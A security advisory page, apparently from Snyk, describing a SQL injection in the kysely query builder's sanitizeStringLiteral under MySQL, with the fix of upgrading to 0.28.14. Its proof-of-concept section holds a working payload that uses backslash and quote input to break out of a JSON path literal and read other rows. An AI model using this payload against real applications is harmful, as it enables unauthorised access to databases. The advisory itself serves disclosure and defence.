SQL Injection Affecting kysely package, versions >=0.28.12 <0.28.14


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-KYSELY-15763572
  • published25 Mar 2026
  • disclosed20 Mar 2026
  • creditoffset

Introduced: 20 Mar 2026

NewCVE-2026-33442  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade kysely to version 0.28.14 or higher.

Overview

kysely is a Type safe SQL query builder

Affected versions of this package are vulnerable to SQL Injection via the sanitizeStringLiteral function. An attacker can execute arbitrary SQL commands by supplying specially crafted input containing backslashes and single quotes, which are not properly escaped in MySQL's default configuration. This allows the attacker to break out of the intended string literal context and inject malicious SQL statements.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability: const compiled = db .selectFrom('users') .select((eb) => eb.ref('data', '->$').key("\' OR 1=1 --" as never).as('x') ) .compile()

console.log(compiled.sql) // select data->'$.&#39;' OR 1=1 --' as x from users // ^^ MySQL sees this as escaped quote // ^ This quote now terminates the string // ^^^^^^^^^^^ Injected SQL

References

CVSS Base Scores

version 4.0
version 3.1